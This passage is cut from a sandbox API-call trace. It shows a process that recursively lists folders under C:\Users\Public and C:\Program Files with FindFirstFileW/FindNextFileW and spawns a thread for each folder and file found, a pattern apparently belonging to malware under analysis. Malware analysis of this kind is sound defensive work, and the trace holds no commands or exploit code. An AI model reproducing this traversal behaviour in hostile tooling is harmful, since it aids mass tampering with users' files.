ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0086.000] wcscmp (_String1="Documents", _String2=".") returned 1 [0086.000] wcscmp (_String1="Documents", _String2="..") returned 1 [0086.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d8500 [0086.000] wcscpy (in: _Dest=0x1b7d8500, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0086.000] wcscat (in: _Dest=0x1b7d8500, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0086.000] wcscat (in: _Dest=0x1b7d8500, _Source="Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0086.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0086.000] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0086.000] wcscmp (_String1="Downloads", _String2=".") returned 1 [0086.000] wcscmp (_String1="Downloads", _String2="..") returned 1 [0086.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d8540 [0086.000] wcscpy (in: _Dest=0x1b7d8540, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0086.000] wcscat (in: _Dest=0x1b7d8540, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0086.001] wcscat (in: _Dest=0x1b7d8540, _Source="Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0086.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0086.001] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0086.001] wcscmp (_String1="Favorites", _String2=".") returned 1 [0086.001] wcscmp (_String1="Favorites", _String2="..") returned 1 [0086.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d8580 [0086.001] wcscpy (in: _Dest=0x1b7d8580, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0086.001] wcscat (in: _Dest=0x1b7d8580, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0086.001] wcscat (in: _Dest=0x1b7d8580, _Source="Favorites" | out: _Dest="C:\\Users\\Public\\Favorites") returned="C:\\Users\\Public\\Favorites" [0086.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0086.002] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0086.002] wcscmp (_String1="Libraries", _String2=".") returned 1 [0086.002] wcscmp (_String1="Libraries", _String2="..") returned 1 [0086.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d85c0 [0086.002] wcscpy (in: _Dest=0x1b7d85c0, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0086.002] wcscat (in: _Dest=0x1b7d85c0, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0086.002] wcscat (in: _Dest=0x1b7d85c0, _Source="Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0086.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d85c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0086.004] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0086.004] wcscmp (_String1="Music", _String2=".") returned 1 [0086.004] wcscmp (_String1="Music", _String2="..") returned 1 [0086.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d8600 [0086.004] wcscpy (in: _Dest=0x1b7d8600, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0086.004] wcscat (in: _Dest=0x1b7d8600, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0086.004] wcscat (in: _Dest=0x1b7d8600, _Source="Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0086.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0086.005] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0086.005] wcscmp (_String1="Pictures", _String2=".") returned 1 [0086.005] wcscmp (_String1="Pictures", _String2="..") returned 1 [0086.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d8640 [0086.005] wcscpy (in: _Dest=0x1b7d8640, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0086.005] wcscat (in: _Dest=0x1b7d8640, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0086.005] wcscat (in: _Dest=0x1b7d8640, _Source="Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0086.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0086.006] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0086.006] wcscmp (_String1="Recorded TV", _String2=".") returned 1 [0086.006] wcscmp (_String1="Recorded TV", _String2="..") returned 1 [0086.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8680 [0086.006] wcscpy (in: _Dest=0x1b7d8680, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0086.006] wcscat (in: _Dest=0x1b7d8680, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0086.006] wcscat (in: _Dest=0x1b7d8680, _Source="Recorded TV" | out: _Dest="C:\\Users\\Public\\Recorded TV") returned="C:\\Users\\Public\\Recorded TV" [0086.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0086.007] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0086.007] wcscmp (_String1="Videos", _String2=".") returned 1 [0086.007] wcscmp (_String1="Videos", _String2="..") returned 1 [0086.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d86c0 [0086.007] wcscpy (in: _Dest=0x1b7d86c0, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0086.007] wcscat (in: _Dest=0x1b7d86c0, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0086.007] wcscat (in: _Dest=0x1b7d86c0, _Source="Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0086.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d86c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0086.008] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0086.008] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0086.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0086.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aae0) returned 1 [0086.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab10) returned 1 Thread: id = 138 os_tid = 0x314 [0086.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceac0 [0086.014] wcscpy (in: _Dest=0x1b7ceac0, _Source="C:\\Program Files\\Common Files\\DESIGNER" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER" [0086.014] wcscat (in: _Dest=0x1b7ceac0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\") returned="C:\\Program Files\\Common Files\\DESIGNER\\" [0086.014] wcscat (in: _Dest=0x1b7ceac0, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\*") returned="C:\\Program Files\\Common Files\\DESIGNER\\*" [0086.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0086.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858eb0 [0086.015] wcscmp (_String1=".", _String2=".") returned 0 [0086.015] FindNextFileW (in: hFindFile=0x1b858eb0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.015] wcscmp (_String1="..", _String2=".") returned 1 [0086.015] wcscmp (_String1="..", _String2="..") returned 0 [0086.015] FindNextFileW (in: hFindFile=0x1b858eb0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0086.015] wcscmp (_String1="MSADDNDR.DLL", _String2=".") returned 1 [0086.015] wcscmp (_String1="MSADDNDR.DLL", _String2="..") returned 1 [0086.015] FindNextFileW (in: hFindFile=0x1b858eb0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0086.015] FindClose (in: hFindFile=0x1b858eb0 | out: hFindFile=0x1b858eb0) returned 1 [0086.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0086.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceac0) returned 1 [0086.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb20) returned 1 Thread: id = 139 os_tid = 0x9e8 [0086.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceb20 [0086.017] wcscpy (in: _Dest=0x1b7ceb20, _Source="C:\\Program Files\\Common Files\\Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0086.017] wcscat (in: _Dest=0x1b7ceb20, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\Services\\") returned="C:\\Program Files\\Common Files\\Services\\" [0086.017] wcscat (in: _Dest=0x1b7ceb20, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\Services\\*") returned="C:\\Program Files\\Common Files\\Services\\*" [0086.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0086.017] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0086.019] wcscmp (_String1=".", _String2=".") returned 0 [0086.019] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.019] wcscmp (_String1="..", _String2=".") returned 1 [0086.019] wcscmp (_String1="..", _String2="..") returned 0 [0086.019] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0086.019] wcscmp (_String1="verisign.bmp", _String2=".") returned 1 [0086.019] wcscmp (_String1="verisign.bmp", _String2="..") returned 1 [0086.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c2210 [0086.019] wcscpy (in: _Dest=0x1b7c2210, _Source="C:\\Program Files\\Common Files\\Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services" [0086.019] wcscat (in: _Dest=0x1b7c2210, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\Services\\") returned="C:\\Program Files\\Common Files\\Services\\" [0086.019] wcscat (in: _Dest=0x1b7c2210, _Source="verisign.bmp" | out: _Dest="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned="C:\\Program Files\\Common Files\\Services\\verisign.bmp" [0086.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c2210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0086.020] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0086.020] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0086.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0086.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb20) returned 1 [0086.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceb80) returned 1 Thread: id = 140 os_tid = 0x908 [0086.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c2280 [0086.025] wcscpy (in: _Dest=0x1b7c2280, _Source="C:\\Program Files\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0086.025] wcscat (in: _Dest=0x1b7c2280, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\" [0086.025] wcscat (in: _Dest=0x1b7c2280, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\*" [0086.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0086.025] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceb80 [0086.025] wcscmp (_String1=".", _String2=".") returned 0 [0086.025] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.025] wcscmp (_String1="..", _String2=".") returned 1 [0086.026] wcscmp (_String1="..", _String2="..") returned 0 [0086.026] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0086.026] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0086.026] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0086.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79e5f0 [0086.026] wcscpy (in: _Dest=0x1b79e5f0, _Source="C:\\Program Files\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0086.026] wcscat (in: _Dest=0x1b79e5f0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\" [0086.026] wcscat (in: _Dest=0x1b79e5f0, _Source="Microsoft" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" [0086.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79e5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0086.026] FindNextFileW (in: hFindFile=0x1b7ceb80, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0086.026] FindClose (in: hFindFile=0x1b7ceb80 | out: hFindFile=0x1b7ceb80) returned 1 [0086.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0086.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2280) returned 1 [0086.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cebe0) returned 1 Thread: id = 141 os_tid = 0x8b8 [0086.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e670 [0086.028] wcscpy (in: _Dest=0x1b79e670, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" [0086.028] wcscat (in: _Dest=0x1b79e670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\" [0086.028] wcscat (in: _Dest=0x1b79e670, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*" [0086.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0086.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cebe0 [0086.029] wcscmp (_String1=".", _String2=".") returned 0 [0086.029] FindNextFileW (in: hFindFile=0x1b7cebe0, 